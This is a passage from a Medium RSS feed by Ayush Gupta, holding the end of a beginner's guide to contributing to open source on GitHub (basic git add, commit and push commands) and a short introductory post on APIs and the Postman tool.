&lt;branch_name&gt; with a descriptive name for your branch It will create a new branch and you are ready to dive into the codebase, fix bugs, add new features, or improve existing functionalities.</p><blockquote><strong>But What Kind Of Issues Shall I Look Forward To Solving?</strong></blockquote><blockquote>You shall begin your journey by tackling beginner-friendly issues or tasks labeled as “good first issues” or “help wanted.” These issues are specifically designed to ease newcomers into the project, allowing you to familiarize yourself with the codebase and development process. Make sure that you ask the admin to assign you the issue before you start contributing to it.</blockquote><p>After you are done with your code it’s time to push it back on GitHub.We will start by adding our changes to the staging area before committing them, use the following command:</p><pre>git add &lt;file_name&gt; (to add a particular file )<br><br>or<br><br>git add .  (to add all the changes )</pre><p>After adding our changes to the staging area we will commit our changes with a descriptive message, using the following command:</p><pre>git commit -m &quot;Your commit message&quot;</pre><p>With this all that we are left with is pushing our committed changes to the remote repository on GitHub and making a pull request, use the following command:</p><pre>git push origin &lt;branch_name&gt;</pre><p>this command will push the changes to our forked repository and we will be able to see an option to create a pull request for your branch.</p><p>These are just a few of the commonly used Git commands when working with GitHub repositories. Remember to refer to the project’s documentation and contributing guidelines for any specific instructions related to the project you are contributing to.</p><p>It’s a good practice to engage with the project’s community by joining their communication platforms such as mailing lists, forums, chat rooms, or Slack channels. Introduce yourself, express your enthusiasm to contribute, and seek guidance from experienced contributors and mentors this will not only build your network but will also help to understand and work with the community better.</p><h3>Conclusion:</h3><p>Contributing to open-source projects on platforms like GitHub is an incredible opportunity to grow as a developer, collaborate with a global community, and leave a lasting impact on the software industry. By following the steps outlined in this guide, you can begin your journey of open-source contribution with confidence. Remember, open source is about more than just code; it’s about sharing knowledge, building relationships, and fostering innovation. Embrace the collaborative nature of open source, ask questions, and don’t be afraid to make mistakes. Join the open-source community and shape the future of technology through collective effort and shared expertise.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5e0c63f329bb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[API and Postman: The Dynamic Duo of Web Development]]></title>
            <link>https://medium.com/@ayush4002gupta/api-and-postman-the-dynamic-duo-of-web-development-7e1023068320?source=rss-3ff8b3f7ebb4------2</link>
            <guid isPermaLink="false">https://medium.com/p/7e1023068320</guid>
            <category><![CDATA[postman]]></category>
            <category><![CDATA[webdev]]></category>
            <category><![CDATA[api]]></category>
            <dc:creator><![CDATA[Ayush Gupta]]></dc:creator>
            <pubDate>Sat, 22 Apr 2023 07:14:25 GMT</pubDate>
            <atom:updated>2023-09-11T18:56:16.983Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rWUPMEhppfjtalzShTgjUw.jpeg" /></figure><p>In today’s world of web development, APIs have become an essential component of building web applications. APIs, or Application Programming Interfaces, are a set of protocols, routines, and tools that allow developers to build software applications that interact with each other. APIs enable developers to create services and products that can be consumed by other software applications, allowing for seamless integration and communication between different platforms.</p><p>Postman, on the other hand, is a popular software application that simplifies the process of working with APIs. Postman is a collaboration platform for API development that allows developers to design, test, and document APIs, all in one place. It provides an easy-to-use interface for sending HTTP requests and viewing the responses. With Postman, developers can create API requests, organize them into collections, and share them with their team members.</p><p>Using Postman to work with APIs offers several benefits. Firstly, it provides a graphical user interface that allows developers to interact with APIs without needing to write any code. Secondly, Postman makes it easy to test APIs by providing an environment to create requests, set headers, and view responses. Developers can also save their requests and responses for later reference, making it easier to debug any issues that may arise.</p><p>Postman also has a range of features that make it ideal for working with APIs. These include support for a wide range of HTTP request methods, including GET, POST, PUT, and DELETE, as well as the ability to set custom headers and parameters. Postman also allows developers to use pre-built requests and collections, saving time and effort.</p><p>Postman’s collaboration features make it easy for teams to work together on API development. Teams can share collections, run tests, and create documentation together. This makes it easier to maintain consistent APIs across multiple projects, reducing the risk of errors and inconsistencies.</p><p>In conclusion, APIs and Postman are a dynamic duo of web development, making it easier for developers to create, test, and maintain APIs. With Postman’s easy-to-use interface, developers can quickly create API requests and view responses, while its collaboration features make it easy for teams to work together on API development. Whether you are a beginner or an experienced developer, Postman is an essential tool for working with APIs.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7e1023068320" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>